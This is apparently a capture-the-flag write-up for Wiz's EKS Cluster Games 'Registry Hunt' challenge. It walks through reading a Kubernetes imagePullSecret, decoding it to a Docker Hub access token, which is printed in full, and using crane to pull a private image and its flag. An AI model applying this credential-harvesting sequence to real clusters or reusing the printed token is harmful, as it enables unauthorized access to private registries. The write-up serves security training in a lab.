Challenge 2: Registry Hunt
Add description after the challenge is over.
References
The Challenge breakdown
Description:
A thing we learned during our research: always check the container registries.
For your convenience, the crane utility is already pre-installed on the machine.
Challenge Value: 10 pts
Permissions complements of Wiz: (You're too kind guys)
{
"secrets": [
"get"
],
"pods": [
"list",
"get"
]
}

Solving the Challenge
Lets get started in the terminal below by first confirming what the kubeconfig profile settings were are connected with has the ability to do. In short lets run the `whoami` of kubernetes.
root@wiz-eks-challenge:~# kubectl auth can-i --list
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
secrets [] [] [get]
pods [] [] [list get]
podsecuritypolicies.policy [] [eks.privileged] [use]

Here we can see that we have permissions that are consistent with the permission hint provided from Wiz. (Thanks, Wiz, for not lying)
Let's break down the permissions of user connected to the kubeconfig file allowing us to run the kubectl commands in the first place in order to interact with the Kubernetes cluster.
secrets
get
Allows the user/role/SA to get information about a specific secret object that was made in the kubernetes cluster. Please note however this doesn't allow us to see all the secrets so the member seeking information on the secret will need to know the secrets name. In order to list available secrets, the k8s member would need the list permission as well.
pods
get
Similar to the get verb for the secrets object, it is used to get information about the pod resource(s). Must specify resource name without list functionality.
pods
list
This allows the k8s member to list the available pods that it has access to per namespace without knowing any of the pod resource names.
Example for why we cannot see any secrets just by calling the get verb on secret object resources.
root@wiz-eks-challenge:~# kubectl get secret
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:challenge2:service-account-challenge2" cannot list resource "secrets" in API group "" in the namespace "challenge2"
Enumerating the available resources
root@wiz-eks-challenge:~# kubectl get pod
NAME READY STATUS RESTARTS AGE
database-pod-2c9b3a4e 1/1 Running 0 4d8h
Only one pod is returned, but this isn't enough information to get a potential secret name.
root@wiz-eks-challenge:~# kubectl describe pod database-pod-2c9b3a4e
Name: database-pod-2c9b3a4e
Namespace: challenge2
Priority: 0
Node: ip-192-168-21-50.us-west-1.compute.internal/192.168.21.50
Start Time: Wed, 01 Nov 2023 13:32:05 +0000
Labels: <none>
Annotations: kubernetes.io/psp: eks.privileged
pulumi.com/autonamed: true
Status: Running
IP: 192.168.12.173
IPs:
IP: 192.168.12.173
Containers:
my-container:
Container ID: containerd://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af
Image: eksclustergames/base_ext_image
Image ID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
Port: <none>
Host Port: <none>
State: Running
Started: Wed, 01 Nov 2023 13:32:08 +0000
Ready: True
Restart Count: 0
Environment: <none>
Mounts:
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-cq4m2 (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
kube-api-access-cq4m2:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>
When creating a Kubernetes pod with an image from a private container registry, it is necessary to supply the imagePullSecrets field in the pod configuration, which references a secret holding the credentials for the container registry.
We can see here a simple describe call is not giving us the imagePullSecrets field so lets run the get command again but supply the full json output to get more information about the pod.
root@wiz-eks-challenge:~# kubectl get pod -o json | jq '.items[].spec.imagePullSecrets[].name'
"registry-pull-secrets-780bab1d"

Great! now we have the secret name associated with the pods image. We can now enumerate the secret in a similar method as in challenge 1.
Lets check to make sure we can start enumeration of the secret by running the "get" verb
root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d
NAME TYPE DATA AGE
registry-pull-secrets-780bab1d kubernetes.io/dockerconfigjson 1 11d

Perfect! Now lets take it a step further.
root@wiz-eks-challenge:~# kubectl describe secret registry-pull-secrets-780bab1d
Name: registry-pull-secrets-780bab1d
Namespace: challenge2
Labels: <none>
Annotations: pulumi.com/autonamed: true
Type: kubernetes.io/dockerconfigjson
Data
====
.dockerconfigjson: 120 bytes
Interesting this secret looks to be associated with a docker config and the key name contains a special character that would exist in the JSON once we view the full contents of the secrets configuration.
root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d -o json | jq
{
"apiVersion": "v1",
"data": {
".dockerconfigjson": "eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19"
},
"kind": "Secret",
"metadata": {
"annotations": {
"pulumi.com/autonamed": "true"
},
"creationTimestamp": "2023-11-01T13:31:29Z",
"name": "registry-pull-secrets-780bab1d",
"namespace": "challenge2",
"resourceVersion": "897340",
"uid": "1348531e-57ff-42df-b074-d9ecd566e18b"
},
"type": "kubernetes.io/dockerconfigjson"
}

In the configuration we can see that the data parent key that hosts the secret identity appears to be part of a file. Lets decode the ".dockerconfigjson" key and view those contents.
Get the base64 encoding.
root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d -o json | jq '.data.".dockerconfigjson"'
"eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19"
Decode the encoded configuration
root@wiz-eks-challenge:~# echo eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19 | base64 -d | jq
{
"auths": {
"index.docker.io/v1/": {
"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="
}
}
}
Decode the configs auth key
root@wiz-eks-challenge:~# echo ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw== | base64 -d
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
Radical! We got the credentials of the private repository. Now if we remember from the challenge description there is a utility to interact with containers, images, repositories, and more. Let's check it out!
root@wiz-eks-challenge:~# crane
Usage:
crane [flags]
crane [command]
Available Commands:
append Append contents of a tarball to a remote image
auth Log in or access credentials
blob Read a blob from the registry
catalog List the repos in a registry
completion Generate the autocompletion script for the specified shell
config Get the config of an image
copy Efficiently copy a remote image from src to dst while retaining the digest value
delete Delete an image reference from its registry
digest Get the digest of an image
export Export filesystem of a container image as a tarball
flatten Flatten an image's layers into a single layer
help Help about any command
index Modify an image index.
ls List the tags in a repo
manifest Get the manifest of an image
mutate Modify image labels and annotations. The container must be pushed to a registry, and the manifest is updated there.
pull Pull remote images by reference and store their contents locally
push Push local image contents to a remote registry
rebase Rebase an image onto a new base image
registry
tag Efficiently tag a remote image
validate Validate that an image is well-formed
version Print the version
Flags:
--allow-nondistributable-artifacts Allow pushing non-distributable (foreign) layers
-h, --help help for crane
--insecure Allow image references to be fetched without TLS
--platform platform Specifies the platform in the form os/arch[/variant][:osversion] (e.g. linux/amd64). (default all)
-v, --verbose Enable debug logs
Use "crane [command] --help" for more information about a command.
After reviewing the help information at the top level of the command a couple of sub commands come to mind for gathering more information. The first is to take advantage of the "auth" sub command to login.
The second once we are logged in is to export the image attached to the running pod and get the file system contents.
So how do we do all this??? Let's break it down one command at a time be using a combination of the help commands and the official documentation from the References section.
Login to Registry
crane auth --help
root@wiz-eks-challenge:~# crane auth --help
Log in or access credentials
Usage:
crane auth [flags]
crane auth [command]
Available Commands:
get Implements a credential helper
login Log in to a registry
logout Log out of a registry
token Retrieves a token for a remote repo
Flags:
-h, --help help for auth
Global Flags:
--allow-nondistributable-artifacts Allow pushing non-distributable (foreign) layers
--insecure Allow image references to be fetched without TLS
--platform platform Specifies the platform in the form os/arch[/variant][:osversion] (e.g. linux/amd64). (default all)
-v, --verbose Enable debug logs
Use "crane auth [command] --help" for more information about a command.
Great now we need to get just a little more information for the "login" sub command.
crane auth login --help
root@wiz-eks-challenge:~# crane auth login --help
Log in to a registry
Usage:
crane auth login [OPTIONS] [SERVER] [flags]
Examples:
# Log in to reg.example.com
crane auth login reg.example.com -u AzureDiamond -p hunter2
Flags:
-h, --help help for login
-p, --password string Password
--password-stdin Take the password from stdin
-u, --username string Username
Global Flags:
--allow-nondistributable-artifacts Allow pushing non-distributable (foreign) layers
--insecure Allow image references to be fetched without TLS
--platform platform Specifies the platform in the form os/arch[/variant][:osversion] (e.g. linux/amd64). (default all)
-v, --verbose Enable debug logs
Perfect, now we can use the example provided to try and login ourselves with the credentials we uncovered.
Forming our own login syntax
root@wiz-eks-challenge:~# crane auth login docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
2023/11/12 22:27:45 logged in via /home/user/.docker/config.json
Ok so wait a second. How did we do that? Let's breakdown the command content syntax for a greater understanding.
crane auth login - This part is the main command and sub commands to make the login api call to the images registry
docker.io - This is the registry name, remember this was exposed with the
kubectl describe pod <pod name>
command and found under the key Image ID with the value of - docker.io/eksclustergames/base_ext_image-u eksclustergames - The
-u
stands for username and the username was found in the first part of the string uncovered in Decode the configs auth key-p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo - The
-p
stands for password and the contents that follows the argument is the second part of the uncovered string found in Decode the configs auth key
Export the Filesystem
crane export --help
root@wiz-eks-challenge:~# crane export --help
Export filesystem of a container image as a tarball
Usage:
crane export IMAGE|- TARBALL|- [flags]
Examples:
# Write tarball to stdout
crane export ubuntu -
# Write tarball to file
crane export ubuntu ubuntu.tar
# Read image from stdin
crane export - ubuntu.tar
Flags:
-h, --help help for export
Global Flags:
--allow-nondistributable-artifacts Allow pushing non-distributable (foreign) layers
--insecure Allow image references to be fetched without TLS
--platform platform Specifies the platform in the form os/arch[/variant][:osversion] (e.g. linux/amd64). (default all)
-v, --verbose Enable debug logs
Ok so this sub command seems to be the parent and child command to run in order to get the contents of the file system. Lets mock the command and run
crane export docker.io/eksclustergames/base_ext_image /tmp/base_ext_image.tar
crane export - parent and child commands
docker.io/eksclustergames/base_ext_image - image location
/tmp/base_ext_image.tar
- name and location of filesystem in tarball compression format
root@wiz-eks-challenge:~# crane export docker.io/eksclustergames/base_ext_image /tmp/base_ext_image.tar
Quickly lets check the file location
root@wiz-eks-challenge:~# ll /tmp/
total 4392
drwxr-xr-x 2 root root 32 Nov 12 22:53 ./
drwxr-xr-x 17 root root 307 Nov 1 23:09 ../
-rw-r--r-- 1 root root 4494336 Nov 12 22:53 base_ext_image.tar
Good, now lets unpack the tarball
root@wiz-eks-challenge:/tmp# tar -xvf /tmp/base_ext_image.tar
etc
flag.txt
proc
sys
bin
bin/[
bin/[[
bin/acpid
bin/add-shell
...
var/spool
var/spool/mail
var/www
tar: var/spool/mail: Cannot change ownership to uid 8, gid 8: Invalid argument
tar: Exiting with failure status due to previous errors
root@wiz-eks-challenge:~#
Now lets check out our images filesystem
root@wiz-eks-challenge:/tmp# ll
total 4412
drwxr-xr-x 13 root root 185 Nov 12 22:56 ./
drwxr-xr-x 17 root root 307 Nov 1 23:09 ../
-rw-r--r-- 1 root root 4494336 Nov 12 22:53 base_ext_image.tar
drwxr-xr-x 2 root root 12288 Jul 17 18:30 bin/
drwxr-xr-x 2 root root 6 Jul 17 18:30 dev/
drwxr-xr-x 3 root root 100 Nov 12 22:56 etc/
-rw-r--r-- 1 root root 124 Nov 1 13:32 flag.txt
drwxr-xr-x 2 root root 6 Jul 17 18:30 home/
drwxr-xr-x 2 root root 213 Jul 17 18:30 lib/
lrwxrwxrwx 1 root root 3 Jul 17 18:30 lib64 -> lib/
drwxr-xr-x 2 root root 6 Nov 1 13:32 proc/
drwx------ 2 root root 6 Jul 17 18:30 root/
drwxr-xr-x 2 root root 6 Nov 1 13:32 sys/
drwxrwxrwt 2 root root 6 Jul 17 18:30 tmp/
drwxr-xr-x 4 root root 29 Jul 17 18:30 usr/
drwxr-xr-x 4 root root 30 Jul 17 18:30 var/

Maybe we should check out that flag.txt file???
root@wiz-eks-challenge:/tmp# cat flag.txt
wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}
This seems legit, shall we submit and move on, I think so.

Last updated